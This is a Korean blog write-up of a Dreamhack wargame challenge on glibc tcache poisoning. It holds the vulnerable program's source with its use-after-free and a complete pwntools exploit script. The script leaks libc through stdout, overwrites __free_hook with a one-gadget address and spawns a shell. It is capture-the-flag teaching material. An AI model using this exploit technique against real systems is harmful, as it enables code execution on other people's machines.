워게임

[시스템 해킹] Tcache Poisoning write-up

sewoo-jjang 2026. 2. 10. 17:06

https://dreamhack.io/wargame/challenges/358

 

로그인 | Dreamhack

페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!

dreamhack.io

0. 보안기법 확인

Full RELRO이기에 GOT table 변조는 불가능하고 NX bit가 켜져있기에 스택에 shellcode를 입력하는것 또한 불가능 하다.

1. 소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}
  • 소스코드를 확인해보면 알 수 있는 취약점은 UAF(Use-After-Free)이다.
    • free(chunk) 이후에도 print()와 edit이 가능하다는 말
    • 그로써 Double Free가 가능해진다. 
free(chunk);
free(chunk);
  • 하지만 glibc는 tcache에서 double free를 감지하면 프로그램을 종료시킨다.

2. tcache 개념 정리

여기에서 tcache를 모르는 사람들을 위해 개념을 정리하고 가보자.

  • tcache: free된 samll chunk빠르게 재사용하기위한 cache -> size별로 tcache bin이 존재함
  • free된 chunk 내부에는 fd (next pointer)가 저장된다.
    • 여기에서 이 fd를 조작하면 다음 malloc이 반환할 주소를 조작할 수 있다.
    • 이것이 tcache poisoning의 핵심

3. payload 추론

위에서 free된 chunk 내부에는 fd (next pointer)가 저장된다고 말했던걸 기억한다면 두번 free했을 때 같은 크기위 청크라면

tcache:
chunkA → chunkA

다음과 같은 중복 엔트리가 생길 수 있고, 이 상태에서 UAF로 첫 chunk의 fd를 덮으면 

chunkA → (내가 넣은 주소)

다음과 같은 구조가 완성된다.

이 다음 malloc이 작동된다면 내가 넣은 주소가 반환되어 해당 주소의 내용을 overwrite할 수 있게 된다.

4. 주소 구하기

현재 필요한 주소는 one gadget 주소로 해당 주소가 무슨일을 하는지는 추후 설명하도로 하겠다.

  • 필요한 주소는 execve("/bin/sh")를 담고있는 주소이기에 0x4f3d5, 0x4f432, 0x10a41c중 하나를 적당히 골라 사용하자.
  • 이 외에도 stdout의주소와 free_hook의 주소가 필요하지만 해당 주소는 pwntools의 기능으로 구할 예정이다.

5. payload 작성

from pwn import *
from pwnlib.tubes.process import PTY

p = remote('host3.dreamhack.games', 18233)
# p = process('./tcache_poison')


e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size, content):
    p.sendlineafter(b'4. Edit\n',b'1')
    p.sendlineafter(b'Size: ', size)
    p.sendafter(b'Content: ', content)

def free_():
    p.sendlineafter(b'4. Edit\n',b'2')

def print_():
    p.sendlineafter(b'4. Edit\n',b'3')

def edit(data):
    p.sendlineafter(b'Edit\n',b'4')
    p.sendlineafter(b': ',data)


alloc(b'16',b'aaaa')

free_()

edit(b'aaaaaaaa')

free_()

leak = p64(e.symbols['stdout'])
edit(leak)

alloc(b'16',b'bbbb')
alloc(b'16',b'\x60')

#추출한 stdout 주소로 libc base 주소 추출
print_()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recvn(6) + b'\x00\x00')
libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']

og_gadget = [0x4f3d5,0x4f432,0x10a41c]
onegadget = libc_base + og_gadget[1]

alloc(b'64', b'a')
free_()
edit(b'aaaaaaaaa')
free_()
leak = p64(free_hook_add)
edit(leak)


alloc(b'64',b'b')
alloc(b'64',p64(onegadget))

free_()

p.interactive()
  • 전체적인 구조를 말하자면
    • stdout의 주소를 leak 하여 libc의 base 주소를 구함
    • 다시한번 Double Free를 사용하여 free_hook 주소를 가르기게 함
    • 해당 주소에서 execute('/bin/sh')를 실행하는 one gadget주소를 입력
    • 그렇다면 free()함수 실행 시 execute('/bin/sh')가 실행되는 것
  • stdout_add = u64(p.recvn(6) + b'\x00\x00') 이렇게 두 비트가 \x00인 이유는 stdout 주소를 출력해보면 알 수 있는데 \x00 두개가 붙어있어 \x00이 나오기 전까지 받는다음 \x00을 추가로 붙여주면서 추가적인 오류를 없애는 것
  • libc.symbols['_IO_2_1_stdout_']은 stdout의 상대 주소 (offset)임으로 stdout의 주소에 빼면서 libc base 주소를 구하는 것
  • og_gadget은 위에서 구한 세 개의 주소를 한번씩 넣어보며 해당 문제에 잘 맞는 것을 찾아 넣어주면 된다.

6. 실행결과